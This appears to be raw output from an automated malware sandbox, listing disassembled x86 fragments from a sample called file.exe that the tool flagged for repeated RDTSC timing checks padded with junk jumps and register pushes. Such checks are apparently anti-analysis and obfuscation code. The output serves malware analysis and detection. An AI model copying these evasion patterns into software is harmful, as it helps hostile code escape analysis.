Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10FDE second address: 6E1109B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+0Ch], eax 0x0000000b jmp 00007F51EC518D0Fh 0x00000010 mov eax, dword ptr [esi+10h] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F51EC518D14h 0x0000001a and si, 1538h 0x0000001f jmp 00007F51EC518D0Bh 0x00000024 popfd 0x00000025 movzx ecx, di 0x00000028 popad 0x00000029 mov dword ptr [edx+10h], eax 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F51EC518D11h 0x00000033 xor ax, 6BD6h 0x00000038 jmp 00007F51EC518D11h 0x0000003d popfd 0x0000003e mov dx, cx 0x00000041 popad 0x00000042 mov eax, dword ptr [esi+14h] 0x00000045 jmp 00007F51EC518D0Ah 0x0000004a mov dword ptr [edx+14h], eax 0x0000004d pushad 0x0000004e mov edi, eax 0x00000050 call 00007F51EC518D0Ah 0x00000055 call 00007F51EC518D12h 0x0000005a pop esi 0x0000005b pop edi 0x0000005c popad 0x0000005d mov eax, dword ptr [esi+18h] 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007F51EC518D0Dh 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E1109B second address: 6E110DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503021h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+18h], eax 0x0000000c jmp 00007F51EC50301Eh 0x00000011 mov eax, dword ptr [esi+1Ch] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F51EC503027h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E110DD second address: 6E110E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E110E3 second address: 6E110E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E110E7 second address: 6E110EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E110EB second address: 6E110FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+1Ch], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E110FC second address: 6E11100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11100 second address: 6E11106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11106 second address: 6E11118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51EC518D0Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11118 second address: 6E1111C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E1111C second address: 6E11133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+20h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F51EC518D0Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11133 second address: 6E11139 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11139 second address: 6E1113D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E1113D second address: 6E11159 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC50301Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [edx+20h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11159 second address: 6E1115D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E1115D second address: 6E11161 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11161 second address: 6E11167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11167 second address: 6E11199 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503022h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+24h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F51EC503027h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11199 second address: 6E11230 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+24h], eax 0x0000000c jmp 00007F51EC518D0Eh 0x00000011 mov eax, dword ptr [esi+28h] 0x00000014 pushad 0x00000015 mov cl, B4h 0x00000017 mov si, dx 0x0000001a popad 0x0000001b mov dword ptr [edx+28h], eax 0x0000001e jmp 00007F51EC518D15h 0x00000023 mov ecx, dword ptr [esi+2Ch] 0x00000026 jmp 00007F51EC518D0Eh 0x0000002b mov dword ptr [edx+2Ch], ecx 0x0000002e pushad 0x0000002f pushad 0x00000030 mov esi, 50F60393h 0x00000035 mov eax, 01F345EFh 0x0000003a popad 0x0000003b push eax 0x0000003c push edx 0x0000003d pushfd 0x0000003e jmp 00007F51EC518D12h 0x00000043 sbb cx, EC18h 0x00000048 jmp 00007F51EC518D0Bh 0x0000004d popfd 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11230 second address: 6E1126A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ax, word ptr [esi+30h] 0x00000009 jmp 00007F51EC503025h 0x0000000e mov word ptr [edx+30h], ax 0x00000012 jmp 00007F51EC50301Eh 0x00000017 mov ax, word ptr [esi+32h] 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E1126A second address: 6E1126E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E1126E second address: 6E11272 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11272 second address: 6E11278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11278 second address: 6E112A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503024h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov word ptr [edx+32h], ax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F51EC50301Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E112A2 second address: 6E112B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E112B1 second address: 6E11311 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503029h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+34h] 0x0000000c pushad 0x0000000d movzx esi, dx 0x00000010 pushfd 0x00000011 jmp 00007F51EC503029h 0x00000016 sbb ecx, 297E2336h 0x0000001c jmp 00007F51EC503021h 0x00000021 popfd 0x00000022 popad 0x00000023 mov dword ptr [edx+34h], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11311 second address: 6E11317 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11317 second address: 6E1132C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51EC503021h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E1132C second address: 6E11377 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test ecx, 00000700h 0x0000000e jmp 00007F51EC518D0Dh 0x00000013 jne 00007F525B0370D6h 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push ebx 0x0000001d pop ecx 0x0000001e pushfd 0x0000001f jmp 00007F51EC518D0Fh 0x00000024 jmp 00007F51EC518D13h 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11377 second address: 6E113BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503029h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or dword ptr [edx+38h], FFFFFFFFh 0x0000000d pushad 0x0000000e mov edi, esi 0x00000010 movzx esi, di 0x00000013 popad 0x00000014 or dword ptr [edx+3Ch], FFFFFFFFh 0x00000018 pushad 0x00000019 movsx edx, ax 0x0000001c jmp 00007F51EC50301Ah 0x00000021 popad 0x00000022 or dword ptr [edx+40h], FFFFFFFFh 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E113BC second address: 6E113C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E113C0 second address: 6E113C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E113C4 second address: 6E113CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E113CA second address: 6E113D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E113D0 second address: 6E113D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E113D4 second address: 6E11437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F51EC50301Fh 0x00000012 adc cx, E34Eh 0x00000017 jmp 00007F51EC503029h 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F51EC503020h 0x00000023 jmp 00007F51EC503025h 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11437 second address: 6E1143D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E1143D second address: 6E11441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11441 second address: 6E11445 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11445 second address: 6E11454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11454 second address: 6E11458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11458 second address: 6E1145C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E1145C second address: 6E11462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E11462 second address: 6E11490 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a leave 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F51EC50301Ah 0x00000014 adc si, BC88h 0x00000019 jmp 00007F51EC50301Bh 0x0000001e popfd 0x0000001f mov dx, cx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E40831 second address: 6E40837 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E40837 second address: 6E4083D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E4083D second address: 6E4085D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov eax, 0F6C8B13h 0x00000014 mov bl, cl 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E4085D second address: 6E4087A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503022h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E4087A second address: 6E4087E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E4087E second address: 6E40884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E40884 second address: 6E408DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, B1h 0x00000005 pushfd 0x00000006 jmp 00007F51EC518D17h 0x0000000b and esi, 0B711B0Eh 0x00000011 jmp 00007F51EC518D19h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c jmp 00007F51EC518D0Eh 0x00000021 pop ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E408DB second address: 6E408DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E408DF second address: 6E408E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E408E5 second address: 6E408EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E408EB second address: 6E408EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0B10 second address: 6DF0B15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0B15 second address: 6DF0B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F51EC518D17h 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esp 0x0000000e jmp 00007F51EC518D14h 0x00000013 mov dword ptr [esp], ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F51EC518D17h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DB005F second address: 6DB00A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503028h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F51EC503020h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F51EC503027h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DB0668 second address: 6DB066C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DB066C second address: 6DB0670 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DB0670 second address: 6DB0676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DB0676 second address: 6DB067C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DB067C second address: 6DB0697 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DB0697 second address: 6DB069B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DB069B second address: 6DB06A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DB06A1 second address: 6DB0718 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503024h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F51EC50301Bh 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F51EC503024h 0x00000017 sbb ax, F638h 0x0000001c jmp 00007F51EC50301Bh 0x00000021 popfd 0x00000022 mov esi, 2113846Fh 0x00000027 popad 0x00000028 mov ebp, esp 0x0000002a pushad 0x0000002b mov cx, 9267h 0x0000002f mov eax, 015AEE03h 0x00000034 popad 0x00000035 pop ebp 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F51EC503025h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DB0C1A second address: 6DB0C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DB0C20 second address: 6DB0C3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a jmp 00007F51EC50301Fh 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0A34 second address: 6DF0A3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0A3A second address: 6DF0A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0A3E second address: 6DF0A92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F51EC518D12h 0x00000010 and eax, 7701A698h 0x00000016 jmp 00007F51EC518D0Bh 0x0000001b popfd 0x0000001c mov di, ax 0x0000001f popad 0x00000020 mov dword ptr [esp], ebp 0x00000023 pushad 0x00000024 mov ebx, ecx 0x00000026 movzx esi, di 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F51EC518D11h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0A92 second address: 6DF0AA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503021h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0AA7 second address: 6DF0AB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51EC518D0Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0AB7 second address: 6DF0ABB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0ABB second address: 6DF0AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F51EC518D0Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DF0AD0 second address: 6DF0AD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 7564h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE0037 second address: 6DE00BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, BF8Eh 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F51EC518D10h 0x00000014 jmp 00007F51EC518D15h 0x00000019 popfd 0x0000001a pushfd 0x0000001b jmp 00007F51EC518D10h 0x00000020 sbb ax, 1D38h 0x00000025 jmp 00007F51EC518D0Bh 0x0000002a popfd 0x0000002b popad 0x0000002c xchg eax, ebp 0x0000002d jmp 00007F51EC518D16h 0x00000032 mov ebp, esp 0x00000034 jmp 00007F51EC518D10h 0x00000039 and esp, FFFFFFF0h 0x0000003c pushad 0x0000003d push esi 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE00BF second address: 6DE00E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov ebx, esi 0x00000007 popad 0x00000008 sub esp, 44h 0x0000000b pushad 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 mov ch, 0Fh 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F51EC50301Ch 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE00E3 second address: 6DE00F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE00F2 second address: 6DE0169 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503029h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c jmp 00007F51EC50301Eh 0x00000011 xchg eax, esi 0x00000012 jmp 00007F51EC503020h 0x00000017 push eax 0x00000018 jmp 00007F51EC50301Bh 0x0000001d xchg eax, esi 0x0000001e jmp 00007F51EC503026h 0x00000023 xchg eax, edi 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 call 00007F51EC50301Dh 0x0000002c pop ecx 0x0000002d pushad 0x0000002e popad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE0169 second address: 6DE016F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE016F second address: 6DE0173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE0173 second address: 6DE0177 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
